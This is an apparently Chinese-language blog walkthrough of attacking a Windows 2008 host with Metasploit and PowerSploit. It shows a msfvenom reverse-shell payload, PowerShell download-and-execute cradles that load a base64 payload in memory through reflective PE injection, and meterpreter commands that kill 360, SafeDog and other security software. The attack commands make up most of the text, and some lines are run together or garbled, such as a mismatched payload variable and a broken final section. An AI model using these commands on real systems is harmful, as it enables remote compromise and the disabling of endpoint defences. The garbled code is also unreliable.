记一次PowerShell配合Metersploit的艰难提权
0x01 环境准备
Windows2008(靶机,装有360、火绒、安全狗、D盾)
Powersploit(PowerShell攻击框架)
https://github.com/PowerShellMafia/PowerSploit
0x02 尝试落地payload
msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe lhost=192.168.192.119 lport=6666 -o ./6666.exepython3 -m http.server

(New-Object Net.WebClient).DownloadString('http://192.168.192.119:8000/6666.exe')
0x03 PowerShell内存执行exe
先将生成的payload在本地进行base64编码
靶机执行远程下载命令
靶机对payload进行解码并赋值给一个变量
PowerShell远程加载Invoke-ReflectivePEInjection模块(PE反射注入)并执行payload
本地编码payload
function Convert-BinaryToString {[CmdletBinding()] param ([string] $FilePath)try {$ByteArray = [System.IO.File]::ReadAllBytes($FilePath);}catch {throw 'Failed to read file. Ensure that you have permission to the file, and that the file path is correct.';}if ($ByteArray) {$Base64String = [System.Convert]::ToBase64String($ByteArray);}else {throw '$ByteArray is $null.';}Write-Output -InputObject $Base64String;}Convert-BinaryToString C:\6666.exe > C:\res.txt

iex(New-Object Net.WebClient).DownloadString('http://192.168.192.119:8000/Invoke-ReflectivePEInjection.ps1')$b64Str = (New-Object Net.WebClient).DownloadString('http://192.168.192.119:8000/res.txt')$PEBytes = [System.Convert]::FromBase64String($InputString)Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR


0x04 艰难的后渗透攻击
ps -ef | grep svchost.exe
migrate 336


0x05 Kill主动防御
D盾可直接Kill掉
360、安全狗Kill掉后,30秒后会再次重启
火绒权限不够,无法直接Kill
meterpreter > pkill ZhuDongFangYu.exe Filtering on 'ZhuDongFangYu.exe' Killing: 6056 meterpreter > pkill SafeDogGuardCenter.exe Filtering on 'SafeDogGuardCenter.exe' Killing: 5752 meterpreter > pkill HipsTray.exe Filtering on 'HipsTray.exe' Killing: 7416 [-] stdapi_sys_process_kill: Operation failed: Access is denied. meterpreter >
0x06 单换杀软的男人

ps -ef | Safepkill Safe








赞 (0)
